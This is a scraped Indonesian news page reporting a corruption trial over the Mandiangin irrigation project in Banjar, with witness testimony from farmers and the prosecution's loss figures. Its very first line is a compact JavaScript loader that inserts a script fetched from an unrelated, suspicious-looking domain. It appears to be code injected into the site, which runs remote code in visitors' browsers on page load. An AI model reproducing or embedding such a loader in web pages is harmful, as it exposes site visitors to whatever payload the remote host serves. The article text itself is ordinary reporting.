(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Enam orang saksi dihadirkan pada sidang korupsi jaringan irigasi Mandiangin, Kecamatan Karang Intan, Kabupaten Banjar yang menyeret dua terdakwa selaku konsultan pengawas dan kontraktor proyek.
Kedua terdakwa yaitu Mirza Azwari selaku konsultan perencana sekaligus konsultan pengawas dan terdakwa Muhammad Yusuf selaku kontraktor penyedia bahan material pada kegiatan proyek rehabilitasi irigasi di Mandiangin.
Empat dari enam saksi yang dihadirkan Jaksa Penuntut Umum (JPU) adalah warga Mandiangin yaitu Ahmad Sairi selaku Kades Mandiangin Timur, Sainudin petani, Suriadi petani, dan Joni salah satu pekerja proyek irigasi.
Sedang dua saksi diantaranya merupakan pegawai Dinas PUPR Kabupaten Banjar yaitu Risca Ari Purnama Esti selaku administrasi proyek dan Iwan Junaidi yang terlibat dalam penghitungan kekurangan proyek.
Baca juga: Wabup Banjar Hadiri Rapat Paripurna di DPRD Banjar
Selain anggaran proyek yang dikorupsi oleh kontraktor, proyek jaringan irigasi Mandiangin tersebut juga membuat rugi para petani.
Diceritakan saksi Sainudin pasca pengerjaan proyek tersebut terjadi penurunan hasil panen padi secara drastis pada sawah yang digarap di sekitar proyek.
“Sebelumnya bisa sampai 70 belek (kaleng yang biasa dijadikan sebutan petani lokal untuk ukuran isi hasil panen padi yang sudah jadi gabah), setelah proyek itu ada cuma dapat 7 belek,” ucapnya di persidangan yang diketuai Jamser Simanjuntak.
Pria paruh baya ini juga dalam beberapa tahun terakhir sudah tidak lagi menggarap sawahnya karena malah sering mengalami kekeringan akibat sungai yang diperdalam dan tidak mengalir lagi ke sawah warga.
Bahkan ia menceritakan sewaktu proyek berjalan harus mengeluarkan uang ratusan ribu untuk membersihkan material proyek berupa bambu-bambu yang menumpuk di areal persawahannya.
“Terus saya minta bersihkan ke operator ekskavator, tapi disuruh bayar buat beli bensin, saya beri ke operator sekitar 500-600 ribu,” ucapnya.
Senada, saksi Suriadi mengatakan sawahnya yang biasa menghasilkan panen padi sekitar 70-75 belek per tahun kini tidak bisa digarap kembali karena kekeringan air.
Baca juga: Tim Provos Propam Polda Kalsel Tertibkan Personel Polres Banjar, Kerapian hingga Tes Urine
“Sekarang sebiji saja tidak. Sangat merugikan masyarakat atas pekerjaan itu, tidak bisa digarap lagi sekarang sawahnya,” terang saksi.
Sementara itu, Kades Mandiangin yang dihadirkan mengatakan intensitas banjir di desanya memang cepat surut semenjak jaringan irigasi tersebut dikerjakan.
Namun, karena sungai yang dikeruk sangat dalam sehingga dikatakannya air sungai tidak dapat masuk ke sawah warga.
“Karena dalam, sehingga tidak bisa ditabat dan tidak bisa mengairi sawah warga,” katanya.
Pada dakwaan Jaksa Penuntut Umum (JPU) sebelumnya, hasil audit BPKP perbuatan kedua terdakwa merugikan keuangan negara sebesar Rp 753 juta atas proyek rehabilitasi jaringan irigasi Mandiangin yang bernilai Rp 828 juta dari APBD Kabupaten Banjar tahun 2021.
“Terdakwa Mirza Azwari dalam hal ini telah memperkaya diri sendiri sehingga negara mengalami kerugian sebesar Rp 15.661.714 dan Muhammad Yusuf merugikan negara sebesar Rp 737.703.019,” kata Setyo Wahyu, JPU Kejari Banjar pada sidang sebelumnya.
Kedua terdakwa oleh JPU Kejari Banjar didakwa dengan Pasal 2 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidan Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) Ke-1 KUHP.
Sedangkan dakwaan subsider dikenakan Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidan Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) KUHP. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.